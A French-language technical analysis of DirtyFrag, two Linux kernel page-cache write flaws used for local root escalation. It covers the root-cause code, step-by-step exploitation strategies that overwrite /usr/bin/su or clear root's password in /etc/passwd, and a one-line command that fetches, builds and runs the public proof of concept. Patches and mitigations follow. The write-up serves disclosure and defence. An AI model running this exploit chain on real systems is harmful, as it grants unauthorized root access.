DirtyFrag : élévation locale universelle de privilèges sous Linux via l'écriture dans le cache de pages
Analyse technique de DirtyFrag, une paire de vulnérabilités d'élévation locale de privilèges du noyau Linux (CVE-2026-43284 et CVE-2026-43500, CVSS 7.8 HIGH) permettant à tout utilisateur local sans privilège d'obtenir les droits root sur la plupart des distributions Linux majeures. En combinant une faille dans le chemin de déchiffrement sur place d'xfrm-ESP et d'RxRPC, toutes deux issues de la même primitive d'écriture dans le cache de pages que Dirty Pipe et Copy Fail, l'exploit écrase des pages en lecture seule du cache de pages sans situation de concurrence, atteignant une fiabilité proche de 100 %.
DirtyFrag
Élévation locale universelle de privilèges sous Linux via l'écriture dans le cache de pages
7 mai 2026 · CVSS 7.8 HIGH · Noyau Linux (2017–2026)
| CVE ID | CVSS | Component | Affected | Fixed |
|---|---|---|---|---|
| CVE-2026-43284 | 7.8 HIGH | xfrm / ESP (esp4, esp6) | kernel ≥ cac2661c53f3 (2017-01-17) | f4c50a4034e6 (2026-05-08) |
| CVE-2026-43500 | 7.8 HIGH | RxRPC (rxrpc.ko) | kernel ≥ 2dc334f1a63a (2023-06-08) | aa54b1d27fe0 (2026-05-10) |
Vue d'ensemble de DirtyFrag : un nouveau membre de la famille des écritures « Dirty » dans le cache de pages
DirtyFrag est une technique d'élévation de privilèges découverte et signalée par Hyunwoo Kim (@v4bel) permettant d'obtenir les droits root sur la grande majorité des distributions Linux, sans situation de concurrence. Elle appartient à la même classe de vulnérabilités que Dirty Pipe et Copy Fail : un attaquant utilise splice() pour épingler une page en lecture seule du cache de pages dans une structure de données du noyau, puis le code du noyau effectue ultérieurement une écriture sur place sur cette page, corrompant de manière définitive la copie en mémoire vive (RAM) d'un fichier que l'attaquant ne peut que lire.
Le nom fait référence au membre qui est « sali » : alors que Dirty Pipe corrompt struct pipe_buffer, DirtyFrag corrompt le membre frag de struct sk_buff.
DirtyFrag enchaîne deux vulnérabilités indépendantes afin d'éliminer leurs angles morts respectifs :
- CVE-2026-43284 (écriture dans le cache de pages via xfrm-ESP) — une puissante primitive d'écriture (STORE) arbitraire de 4 octets déclenchée via le chemin d'entrée IPsec ESP. Disponible sur la plupart des distributions, mais nécessite le privilège de créer un espace de noms utilisateur (
unshare(CLONE_NEWUSER)). - CVE-2026-43500 (écriture dans le cache de pages via RxRPC) — une écriture STORE de 8 octets déclenchée via le chemin de déchiffrement sur place de RxRPC. Ne nécessite aucun privilège d'espace de noms, mais dépend de
rxrpc.ko, qui n'est pas fourni par la plupart des distributions — bien qu'il soit chargé par défaut sur Ubuntu.
En exécutant d'abord la variante ESP et en basculant sur la variante RxRPC lorsque la création d'espaces de noms est bloquée (par exemple sur Ubuntu avec le durcissement AppArmor), un binaire unique obtient les droits root sur toutes les distributions majeures.
CVE-2026-43284 : écriture dans le cache de pages via xfrm-ESP
Cause racine
Avant d'exécuter le déchiffrement AEAD sur place sur une charge utile ESP, esp_input() devrait appeler skb_cow_data() pour les skb non linéaires afin d'allouer un tampon noyau privé et d'y copier les données du fragment. Cependant, lorsque le skb n'est pas cloné et ne possède pas de frag_list, la fonction court-circuite le traitement directement vers le déchiffrement :
static int esp_input(struct xfrm_state *x, struct sk_buff *skb)
{
[...]
if (!skb_cloned(skb)) {
if (!skb_is_nonlinear(skb)) { // [1]
nfrags = 1;
goto skip_cow;
} else if (!skb_has_frag_list(skb)) {
nfrags = skb_shinfo(skb)->nr_frags;
nfrags++;
goto skip_cow; // [2] vulnerable path
}
}
err = skb_cow_data(skb, 0, &trailer);
[...]
En [2], le fragment contourne la copie sur écriture (copy-on-write). Si l'attaquant a épinglé une page du cache de pages dans ce fragment via splice, le moteur AEAD interne du sous-système ESP opère directement sur cette page
(remarque : ceci est distinct d'algif_aead — aucune implication d'AF_ALG ici).
La fonction de déchiffrement crypto_authenc_esn_decrypt() effectue une écriture STORE de 4 octets lors de son étape de prétraitement du numéro de séquence ESN — avant même que l'authentification ne s'exécute :
static int crypto_authenc_esn_decrypt(struct aead_request *req)
{
[...]
scatterwalk_map_and_copy(tmp, src, 0, 8, 0);
if (src == dst) {
scatterwalk_map_and_copy(tmp, dst, 4, 4, 1);
scatterwalk_map_and_copy(tmp + 1, dst, assoclen + cryptlen, 4, 1); // [3] 4-byte STORE
dst = scatterwalk_ffwd(areq_ctx->dst, dst, 4);
[...]
La valeur de 4 octets écrite en [3] correspond aux 32 bits de poids fort du numéro de séquence ESN — une valeur fournie par l'attaquant lors de l'enregistrement de la SA via l'attribut netlink XFRMA_REPLAY_ESN_VAL. Cela signifie que l'attaquant contrôle à la fois le décalage dans le fichier cible (via le positionnement de splice) et les 4 octets écrits (via le seq_hi de la SA). L'authentification AEAD échoue avec -EBADMSG, mais l'opération STORE a déjà été validée dans le cache de pages.
Stratégie d'exploitation (variante ESP)
La cible est /usr/bin/su. L'exploit écrase les 192 premiers octets de sa copie dans le cache de pages avec un ELF minimal de shell root :
- L'ELF mappe 0xb8 octets en R+X à l'adresse virtuelle
0x400000via PT_LOAD. - Le point d'entrée
0x400078appellesetgid(0); setuid(0); setgroups(0, NULL); execve("/bin/sh", ...). - Le flux PAM est entièrement contourné.
Les 192 octets sont découpés en 48 blocs de 4 octets, chacun étant délivré par une SA XFRM distincte dont le seq_hi transporte les octets cibles du shellcode.
Un processus enfant appelle d'abord unshare(CLONE_NEWUSER | CLONE_NEWNET) pour obtenir CAP_NET_ADMIN au sein du nouvel espace de noms, puis enregistre 48 SA en une seule fois. Chaque déclenchement transmet un en-tête réseau ESP forgé + 16 octets de la page de /usr/bin/su (via vmsplice + splice) à un socket UDP local en boucle (loopback) avec UDP_ENCAP_ESPINUDP. Le skb résultant transporte la page du cache de pages sous frags[0], passe par esp_input, et reçoit son écriture STORE de 4 octets. Après l'ensemble des 48 itérations, l'ELF complet est assemblé en mémoire vive (RAM), et execve("/usr/bin/su") exécuté depuis le parent (espace de noms init) lance le shell root.
Correctif (CVE-2026-43284)
Le correctif ajoute un drapeau SKBFL_SHARED_FRAG aux fragments de page arrivant via splice dans les chemins d'ajout de datagrammes IPv4/IPv6, et étend la protection skip_cow dans esp_input / esp6_input pour vérifier ce drapeau :
-} else if (!skb_has_frag_list(skb)) {
+} else if (!skb_has_frag_list(skb) &&
+ !skb_has_shared_frag(skb)) {
Les pages du cache de pages épinglées par un attaquant atteignent désormais systématiquement skb_cow_data() et ne peuvent plus entrer dans la liste de dispersion/regroupement (SGL) de destination du déchiffrement AEAD sur place.
CVE-2026-43500 : écriture dans le cache de pages via RxRPC
Cause racine
rxkad_verify_packet_1() vérifie les paquets RxRPC DATA au niveau RXRPC_SECURITY_AUTH en effectuant un déchiffrement sur place pcbc(fcrypt) des 8 premiers octets de la charge utile rxrpc :
sg_init_table(sg, ARRAY_SIZE(sg));
ret = skb_to_sgvec(skb, sg, sp->offset, 8);
[...]
skcipher_request_set_crypt(req, sg, sg, 8, iv.x); // [4] src == dst: in-place
ret = crypto_skcipher_decrypt(req); // [5] 8-byte STORE
En [4], les SGL source (src) et destination (dst) sont identiques. skb_to_sgvec() convertit directement le fragment du skb en SGL, de sorte que la page du cache de pages épinglée par l'attaquant via splice devient à la fois src et dst. L'opération STORE de 8 octets en [5] écrit fcrypt_decrypt(C, K) — le résultat du déchiffrement du texte chiffré au décalage du fragment avec la clé de session K de l'attaquant.
La clé de session est injectée librement sans aucun privilège via add_key("rxrpc", ...). Contrairement à la variante ESP, aucun espace de noms utilisateur n'est requis.
Stratégie d'exploitation (variante RxRPC)
Comme la valeur écrite par le STORE est fcrypt_decrypt(C, K) plutôt qu'une valeur directement contrôlée, l'attaquant force par force brute K dans l'espace utilisateur jusqu'à obtenir le texte en clair de 8 octets souhaité. fcrypt est un chiffrement AFS à clé de 56 bits — un portage dans l'espace utilisateur s'exécute à ~18 M/s, permettant de trouver une clé en environ 5 ms pour chaque bloc faiblement contraint.
La cible est la ligne 1 de /etc/passwd. L'exploit applique trois écritures STORE consécutives et chevauchantes de 8 octets aux décalages de fichier 4, 6 et 8 pour remodeler "root:x:0:0:root:/root:/bin/bash" en "root::0:0:GGGGGG:/root:/bin/bash". Le champ de mot de passe devient une chaîne vide ; pam_unix.so avec nullok l'accepte et renvoie PAM_SUCCESS sans demander de mot de passe.
L'opération STORE à chaque position nécessite :
- Le calcul du texte chiffré chaîné (en tenant compte des opérations STORE précédentes déjà appliquées à la page).
- La recherche par force brute de
Ktel quefcrypt_decrypt(C_actual, K)produise le texte en clair souhaité. - L'enregistrement de la clé avec
add_key, la mise en place d'une négociation AF_RXRPC locale en boucle, le précalcul de la somme de contrôle réseau, et l'envoi d'un paquet DATA forgé viavmsplice+splice.
Cette variante n'appelle pas unshare() — tous les appels système (add_key, socket(AF_RXRPC), socket(AF_ALG), splice, recvmsg) sont accessibles aux utilisateurs non privilégiés.
Correctif (CVE-2026-43500)
Le correctif étend la protection précédant le déchiffrement sur place dans call_event.c et conn_event.c, passant d'une simple vérification skb_cloned à la prise en compte des skb partagés et contenant des listes de fragments :
-if (skb_cloned(skb)) {
+if (skb_cloned(skb) || skb_has_frag_list(skb) ||
+ skb_has_shared_frag(skb)) {
Les skb transportant des fragments de pages épinglés depuis l'extérieur sont désormais isolés via skb_copy() avant d'atteindre le récepteur de déchiffrement.
DirtyFrag : chaîne d'exploitation — un binaire unique, un accès root universel
La logique d'enchaînement est directe :
1. Attempt ESP variant (child: unshare USER+NET → register XFRM SAs → splice → patch /usr/bin/su)
2. Read back the first shellcode byte at the entry offset of /usr/bin/su.
- Success → parent: forkpty + execve("/usr/bin/su") → root shell.
3. Failure (unshare denied, esp4.ko absent, or SA registration fails):
- Fall back to RxRPC variant:
K brute-force × 3 → splice triggers → /etc/passwd line 1 cleared
forkpty + execve("/usr/bin/su") → PAM nullok → root shell.
La chaîne combinée a été confirmée sur : Ubuntu 24.04.4 (noyau 6.17.0-23), RHEL 10.1 (6.12.0-124.49.1), openSUSE Tumbleweed (7.0.2-1), CentOS Stream 10, AlmaLinux 10 et Fedora 44. Aucune situation de concurrence n'intervient, le noyau ne panique pas en cas d'échec, et le taux de succès est proche de 100 %.
Preuve de concept (PoC) de DirtyFrag
La preuve de concept (PoC) publique se compose d'un fichier C unique. Compilez et exécutez avec :
git clone https://github.com/V4bel/dirtyfrag.git && cd dirtyfrag && gcc -O0 -Wall -o exp exp.c -lutil && ./exp
Environnement de test
L'exploit a été testé sur une machine virtuelle locale VirtualBox exécutant Ubuntu 24.04.1 avec un noyau non corrigé :
Linux aziz-VirtualBox 6.17.0-23-generic #23~24.04.1-Ubuntu SMP PREEMPT_DYNAMIC Tue Apr 14 16:11:48 UTC 2 x86_64 GNU/Linux

Exploitation
La chaîne d'exploitation a exécuté la variante ESP en premier (la création d'espaces de noms utilisateur est autorisée sur ce noyau), a écrasé le cache de pages de /usr/bin/su avec l'ELF du shell root, et a renvoyé un shell root en moins d'une seconde :

uid=0(root) gid=0(root) groups=0(root) via DirtyFrag
Mesures d'atténuation immédiates
En attendant la disponibilité d'une mise à jour du noyau, désactivez les modules vulnérables et videz le cache de pages :
sh -c "printf 'install esp4 /bin/false\ninstall esp6 /bin/false\ninstall rxrpc /bin/false\n' \
> /etc/modprobe.d/dirtyfrag.conf; \
rmmod esp4 esp6 rxrpc 2>/dev/null; \
echo 3 > /proc/sys/vm/drop_caches; true"
Remédiation
- Appliquez les mises à jour du noyau fournies par votre distribution dès qu'un rétroportage est disponible.
- Vérifiez que les modules
esp4,esp6etrxrpcne sont pas chargés sur les systèmes ne nécessitant pas IPsec ou AFS (lsmod | grep -E 'esp4|esp6|rxrpc'). - Sur Ubuntu, examinez la politique AppArmor concernant la création d'espaces de noms utilisateur non privilégiés — bien que cela bloque le chemin ESP, le chemin RxRPC reste ouvert malgré tout.
- Surveillez les anomalies dans le cache de pages sur les binaires setuid sensibles et
/etc/passwd.
Références
| Ressource | Lien |
|---|---|
| GitHub PoC (V4bel/dirtyfrag) | https://github.com/V4bel/dirtyfrag |
| Correctif du noyau pour CVE-2026-43284 (f4c50a4034e6) | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=f4c50a4034e62ab75f1d5cdd191dd5f9c77fdff4 |
| Correctif du noyau pour CVE-2026-43500 (aa54b1d27fe0) | https://git.kernel.org/pub/scm/linux/kernel/git/torvalds/linux.git/commit/?id=aa54b1d27fe0c2b78e664a34fd0fdf7cd1960d71 |
| NVD CVE-2026-43284 | https://nvd.nist.gov/vuln/detail/CVE-2026-43284 |
| Bulletin Red Hat RHSB-2026-003 | https://access.redhat.com/security/vulnerabilities/RHSB-2026-003 |
| Avis de sécurité Ubuntu | https://ubuntu.com/blog/dirty-frag-linux-vulnerability-fixes-available |